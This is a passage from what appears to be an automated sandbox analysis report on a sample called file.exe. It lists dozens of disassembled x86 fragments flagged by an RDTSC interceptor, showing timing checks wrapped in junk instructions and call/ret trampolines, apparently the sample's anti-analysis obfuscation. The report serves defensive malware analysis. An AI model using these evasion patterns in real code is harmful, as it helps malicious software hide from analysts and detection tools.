[esp+04h], 0000001Bh 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D17EDh], eax 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a jmp 00007FC83CB776ABh 0x0000005f push eax 0x00000060 push edx 0x00000061 push ecx 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F288 second address: 114F2AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FC83CB64D36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11501B0 second address: 11501B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11501B6 second address: 1150222 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FC83CB64D38h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 and ebx, dword ptr [ebp+122D1AE1h] 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FC83CB64D38h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 mov edi, dword ptr [ebp+122D2C3Bh] 0x0000004d push 00000000h 0x0000004f mov dword ptr [ebp+122D21A6h], ebx 0x00000055 push eax 0x00000056 pushad 0x00000057 jo 00007FC83CB64D38h 0x0000005d pushad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150222 second address: 1150226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115042C second address: 1150451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jbe 00007FC83CB64D36h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151415 second address: 115141B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11531D6 second address: 11531DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11531DB second address: 11531FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jno 00007FC83CB776A6h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11531FC second address: 1153243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov bx, D51Bh 0x0000000e mov cl, E6h 0x00000010 popad 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D20F3h], esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007FC83CB64D38h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 movzx edi, dx 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153243 second address: 1153247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153247 second address: 1153251 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155271 second address: 1155289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC83CB776A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC83CB776ABh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F180E second address: 10F181D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC83CB64D36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F181D second address: 10F1823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115783E second address: 115785F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC83CB64D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115785F second address: 1157863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157863 second address: 115786D instructions: 0x00000000 rdtsc 0x00000002 js 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11579D8 second address: 11579DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11579DC second address: 11579E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A759 second address: 115A7C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+124830F0h], eax 0x00000012 mov ebx, dword ptr [ebp+122D2174h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FC83CB776A8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov di, 97E8h 0x00000038 mov dword ptr [ebp+1244D3DEh], edi 0x0000003e push 00000000h 0x00000040 pushad 0x00000041 jnc 00007FC83CB776ACh 0x00000047 stc 0x00000048 popad 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push edi 0x0000004d jmp 00007FC83CB776ADh 0x00000052 pop edi 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C6C5 second address: 115C6CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115C900 second address: 115C90B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D79A second address: 115D7A4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115D7A4 second address: 115D7A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F7F7 second address: 115F801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E93A second address: 115E93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F801 second address: 115F86E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jnl 00007FC83CB64D4Eh 0x0000000f nop 0x00000010 stc 0x00000011 push 00000000h 0x00000013 pushad 0x00000014 push esi 0x00000015 mov ebx, dword ptr [ebp+122D2B4Fh] 0x0000001b pop esi 0x0000001c pushad 0x0000001d mov ebx, dword ptr [ebp+122D1BCDh] 0x00000023 popad 0x00000024 popad 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007FC83CB64D38h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Ah 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 mov di, 8806h 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E93E second address: 115E942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F86E second address: 115F873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F873 second address: 115F89A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FC83CB776ACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F89A second address: 115F89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F9AC second address: 115F9C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC83CB776B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167ACE second address: 1167AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC83CB64D36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167551 second address: 1167581 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC83CB776A6h 0x00000008 jmp 00007FC83CB776B5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FC83CB776B1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BF1D second address: 116BF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BF21 second address: 116BF27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BF27 second address: 116BF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C055 second address: 116C080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC83CB776ABh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C080 second address: 116C085 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C0DE second address: 116C0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C0E2 second address: 116C0E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C0E6 second address: 116C0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C1D5 second address: 116C1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C1DA second address: F91BA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 118B668Ch 0x00000011 jp 00007FC83CB776B2h 0x00000017 push dword ptr [ebp+122D1529h] 0x0000001d jnl 00007FC83CB776A7h 0x00000023 stc 0x00000024 call dword ptr [ebp+122D29D3h] 0x0000002a pushad 0x0000002b sub dword ptr [ebp+122D31FEh], edi 0x00000031 xor eax, eax 0x00000033 mov dword ptr [ebp+122D26D4h], ecx 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d or dword ptr [ebp+122D26D4h], edx 0x00000043 mov dword ptr [ebp+122D29E7h], eax 0x00000049 jmp 00007FC83CB776ADh 0x0000004e mov esi, 0000003Ch 0x00000053 jnl 00007FC83CB776ACh 0x00000059 mov dword ptr [ebp+122D33C6h], eax 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 pushad 0x00000064 mov dword ptr [ebp+122D31FEh], ecx 0x0000006a or ecx, dword ptr [ebp+122D2C47h] 0x00000070 popad 0x00000071 lodsw 0x00000073 sub dword ptr [ebp+122D26D4h], esi 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d pushad 0x0000007e mov dword ptr [ebp+122D31FEh], ecx 0x00000084 push eax 0x00000085 pop esi 0x00000086 popad 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b jmp 00007FC83CB776B7h 0x00000090 push eax 0x00000091 pushad 0x00000092 push edx 0x00000093 push eax 0x00000094 push edx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170C93 second address: 1170C9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170C9B second address: 1170CB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC83CB776B3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170E1C second address: 1170E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170F63 second address: 1170F67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170F67 second address: 1170F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1170F6D second address: 1170F77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC83CB776A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11713C4 second address: 11713C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11713C9 second address: 11713D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176729 second address: 117673C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC83CB64D3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176C0A second address: 1176C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176C10 second address: 1176C3C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC83CB64D36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FC83CB64D3Ch 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007FC83CB64D36h 0x0000001b jmp 00007FC83CB64D3Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117735D second address: 1177378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177632 second address: 117765A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D3Eh 0x00000009 jmp 00007FC83CB64D46h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117765A second address: 1177664 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC83CB776ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176415 second address: 117643F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D49h 0x00000009 pop edx 0x0000000a jno 00007FC83CB64D3Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117643F second address: 1176446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C368 second address: 117C375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FC83CB64D36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C375 second address: 117C391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jg 00007FC83CB776A6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C4D5 second address: 117C4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CD93 second address: 117CDA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CDA9 second address: 117CDB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117CDB4 second address: 117CDB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4D6B second address: 10F4D75 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC83CB64D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4D75 second address: 10F4D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4D7F second address: 10F4D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC83CB64D36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4D89 second address: 10F4D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4D8D second address: 10F4DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 jno 00007FC83CB64D4Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FC83CB64D43h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4DD2 second address: 10F4DD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118089F second address: 11808A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143A20 second address: 1143A2A instructions: 0x00000000 rdtsc 0x00000002 je 00007FC83CB776A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143A2A second address: 1143A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC83CB64D36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143A34 second address: 1143A43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143A43 second address: 1143A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11440E9 second address: 114414A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], esi 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FC83CB776A8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 or dword ptr [ebp+122D28CAh], ecx 0x00000029 nop 0x0000002a pushad 0x0000002b jo 00007FC83CB776A8h 0x00000031 pushad 0x00000032 popad 0x00000033 push esi 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pop esi 0x00000037 popad 0x00000038 push eax 0x00000039 pushad 0x0000003a jmp 00007FC83CB776B7h 0x0000003f pushad 0x00000040 je 00007FC83CB776A6h 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144407 second address: 114440B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114440B second address: 1144411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144411 second address: 1144458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push esi 0x0000000c mov edx, dword ptr [ebp+122D2D0Fh] 0x00000012 pop edx 0x00000013 push 00000004h 0x00000015 sub edi, dword ptr [ebp+122D2B1Bh] 0x0000001b jg 00007FC83CB64D3Bh 0x00000021 add di, 85DBh 0x00000026 nop 0x00000027 jmp 00007FC83CB64D3Ah 0x0000002c push eax 0x0000002d pushad 0x0000002e jp 00007FC83CB64D3Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 jg 00007FC83CB64D36h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114444C second address: 1144458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007FC83CB776A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180E2A second address: 1180E32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
